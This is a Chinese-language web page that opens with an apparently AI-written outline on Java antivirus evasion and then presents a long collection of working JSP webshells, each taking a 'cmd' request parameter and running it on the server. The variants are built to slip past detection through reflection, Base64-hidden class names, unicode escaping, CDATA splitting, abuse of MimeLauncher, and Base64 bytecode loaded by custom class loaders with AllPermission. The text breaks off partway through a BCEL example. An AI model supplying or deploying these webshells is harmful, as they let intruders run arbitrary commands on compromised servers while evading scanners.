由于回答一个十万字的解析内容超出了这个平台的回答范围,我将提供一个大纲和简要概述,以便您了解如何展开这个主题。
### Java免查杀合集解析大纲
#### 第一章:Java免查杀概述
1.1 免查杀的定义
1.2 Java免查杀的背景和原因
1.3 Java免查杀的意义和影响
#### 第二章:Java查杀机制分析
2.1 病毒查杀软件的工作原理
2.2 Java程序被误杀的原因
2.3 Java免查杀的技术挑战
#### 第三章:Java免查杀技术方法
3.1 数字签名技术
3.2 加密技术
3.3 白名单技术
3.4 隐蔽技术
3.5 静默运行技术
#### 第四章:Java免查杀工具介绍
4.1 免查杀工具的分类
4.2 常见免查杀工具的功能和特点
4.3 使用免查杀工具的注意事项
#### 第五章:Java免查杀案例分析
5.1 成功免查杀案例
5.2 误杀案例分析
5.3 案例启示与经验总结
#### 第六章:Java免查杀的未来趋势
6.1 技术发展趋势
6.2 法规政策变化
6.3 免查杀与安全防护的平衡
#### 第七章
相关内容:
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
查杀的点在于Runtime.getRuntime().exec非常明显的特征利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)
Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = new ProcessBuilder(new String{cmd}).start();
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>






<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>
查杀效果:


<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
uuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0063uuuu006duuuu0064uuuu0020uuuu003duuuu0020uuuu0072uuuu0065uuuu0071uuuu0075uuuu0065uuuu0073uuuu0074uuuu002euuuu0067uuuu0065uuuu0074uuuu0050uuuu0061uuuu0072uuuu0061uuuu006duuuu0065uuuu0074uuuu0065uuuu0072uuuu0028uuuu0022uuuu0063uuuu006duuuu0064uuuu0022uuuu0029uuuu003buuuu0050uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu0020uuuu0070uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu0020uuuu003duuuu0020uuuu0052uuuu0075uuuu006euuuu0074uuuu0069uuuu006duuuu0065uuuu002euuuu0067uuuu0065uuuu0074uuuu0052uuuu0075uuuu006euuuu0074uuuu0069uuuu006duuuu0065uuuu0028uuuu0029uuuu002euuuu0065uuuu0078uuuu0065uuuu0063uuuu0028uuuu0063uuuu006duuuu0064uuuu0029uuuu003buuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0020uuuu0069uuuu0073uuuu0020uuuu003duuuu0020uuuu0070uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu002euuuu0067uuuu0065uuuu0074uuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0028uuuu0029uuuu003buuuu0042uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0020uuuu0062uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0020uuuu003duuuu0020uuuu006euuuu0065uuuu0077uuuu0020uuuu0042uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0028uuuu006euuuu0065uuuu0077uuuu0020uuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0028uuuu0069uuuu0073uuuu0029uuuu0029uuuu003buuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0072uuuu0020uuuu003duuuu0020uuuu006euuuu0075uuuu006cuuuu006cuuuu003buuuu0077uuuu0068uuuu0069uuuu006cuuuu0065uuuu0028uuuu0028uuuu0072uuuu0020uuuu003duuuu0020uuuu0062uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu002euuuu0072uuuu0065uuuu0061uuuu0064uuuu004cuuuu0069uuuu006euuuu0065uuuu0028uuuu0029uuuu0029uuuu0021uuuu003duuuu006euuuu0075uuuu006cuuuu006cuuuu0029uuuu007buuuu0072uuuu0065uuuu0073uuuu0070uuuu006fuuuu006euuuu0073uuuu0065uuuu002euuuu0067uuuu0065uuuu0074uuuu0057uuuu0072uuuu0069uuuu0074uuuu0065uuuu0072uuuu0028uuuu0029uuuu002euuuu0070uuuu0072uuuu0069uuuu006euuuu0074uuuu006cuuuu006euuuu0028uuuu0072uuuu0029uuuu003buuuu007d%>
注意这里的uuuu00可以换成uuuu00uuu...可以跟多个u达到绕过的效果
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/
注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行




<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<jsp:scriptlet>
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>

${Runtime.getRuntime().exec(param.cmd)}


利用命令空间改名去绕过
<demo:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<demo:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</demo:scriptlet>
</demo:root>
利用<jsp:expression>绕过
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<jsp:expression>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</jsp:expression>
</jsp:root>
以上是jsp的一些特性,下面开始正式讲解CDATA
说人话就是<!]>只要能配对就相互抵消,其他不变,因此就可以说多了一个混淆的方式,有点类似多行注释在一行中使用(sql注入绕过waf),但是这个特征可以将关键字,函数进行分割,让其能混淆的空间变的更大
下面是用xml格式的jsp文件<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = requ<!]>Parameter("cmd");
Process process = Ru<!]>ime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>





<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = requ<!]>Parameter("cmd");
Process process = Ru<!]>ime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行在线html实体编码:https://www.qqxiuzi.cn/bianma/zifushiti.php

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Class<?> rt =Class.forName("java.lang.Runtime");
Method runtimeMethod = rt.getMethod("getRuntime");
Method method = rt.getMethod("exec", String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream in = process.getInputStream();
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
%>
免杀效果:

利用base64加解密敏感内容
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免杀效果:

getDeclaredMethod替换getMethod
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>



<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
%>
免杀效果:
www.MimeLauncher免杀
在sun.net. www.MimeLauncher中存在一个run方法 ,而该run方法存在命令执行漏洞
<%@ page import="java.io.*" %>
<%@ page import="java.net.URLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="sun.net.www.MimeEntry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
URLConnection urlConnection = new URL("http://127.0.0.1%s").openConnection();
MimeEntry mimeEntry = new MimeEntry("naihe");
Class meClass = MimeEntry.class;
Field field = meClass.getDeclaredField("command");
field.setAccessible(true);
Field field2 = meClass.getDeclaredField("tempFileNameTemplate");
field2.setAccessible(true);
field2.set(mimeEntry,"naihe%s567");
InputStream inputStream = new InputStream() {
@Override
public int read() throws IOException {
return -1;
}
};
Class mimeClass = Class.forName("sun.net.www.MimeLauncher");
Constructor mimeCon = mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,
InputStream.class,String.class,String.class);
mimeCon.setAccessible(true);
Thread thread = (Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");
Field field3 = mimeClass.getDeclaredField("execPath");
field3.setAccessible(true);
field3.set(thread,cmd);
Method m = mimeClass.getDeclaredMethod("run");
m.setAccessible(true);
m.invoke(thread);
%>



package com.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;
public class Demo {
public static void main(String args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
FileChannel fileChannel = null;
FileInputStream in = null;
in = new FileInputStream("C:Users12107Desktop免杀targetclassescomdemoShell.class");
fileChannel = in.getChannel();
ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());
while (fileChannel.read(buffer) > 0) {
}
System.out.println(new String(Base64.getEncoder().encode(buffer.array())));
}
}
Shell.javapackage com.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell {
public static String runs(String cmd) throws IOException {
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = "";
String s = "";
while((r = bufferedReader.readLine())!=null){
s += r;
}
return s;
}
}
javassist是生成修改字节码的框架,使用比ASM更简洁,但是并非jvm自带的库,也是笔者非常喜欢的一个框架。package com.demo;
import javassist.*;
import java.io.IOException;
import java.util.Base64;
public class Demo2 {
public static void main(String args) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass cc1 = classPool.makeClass("com.demo.Shell");
CtConstructor cons = new CtConstructor(new CtClass{},cc1);
cons.setBody("{}");
String runCode1="{}";
cons.insertBefore((runCode1));
cc1.addConstructor(cons);
CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass{classPool.get("java.lang.String")}, cc1);
cm2.setModifiers(Modifier.PUBLIC);
cm2.setBody("{ Process process = Runtime.getRuntime().exec($1);
" +
" java.io.InputStream is = process.getInputStream();
" +
" java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
" +
" String r = "";
" +
" String s = "";
" +
" while((r = bufferedReader.readLine())!=null){
" +
" s += r;
" +
" }
" +
" return s;}");
cc1.addMethod(cm2);
System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));
}
}
ASM相比javassist操作更复杂,但是jvm自带,利用面非常广package com.demo;
import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;
public class Demo2 {
public static void main(String args){
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);
MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mw.visitVarInsn(ALOAD, 0);
mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
mw.visitInsn(RETURN);
mw.visitMaxs(1, 1);
mw.visitEnd();
MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
"(Ljava/lang/String;)Ljava/lang/Process;", null, null);
mw2.visitCode();
mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;",false);
mw2.visitVarInsn(ALOAD,1);
mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mw2.visitInsn(ARETURN);
mw2.visitMaxs(10, 3);
mw2.visitEnd();
byte code = cw.toByteArray();
System.out.println(new String(Base64.getEncoder().encode(code)));
}
}
这里由于ASM操作比较复杂,就先生成一个简单的字节码(前面javac和javassist笔者写的回显都是在字节码这,这ASM回显的内容就先不放在ASM中生成),由于runs函数的返回值为Process,我们只需要在后面的jsp处理中拿出来用即可。<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte bytes = Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> shell = loader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Process o2 = (Process)dm.invoke(object, cmd);
InputStream is = o2.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = "";
String s = "";
while((r = bufferedReader.readLine())!=null){
s += r;
}
response.getWriter().println(s);
%>
免杀修改

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte.class, int.class, int.class);
defineClass.setAccessible(true);
byte bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, "calc");
%>
免杀效果:

自定义classloader免杀
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> shell = loader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
response.getWriter().println(dm.invoke(object, cmd));
%>



com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
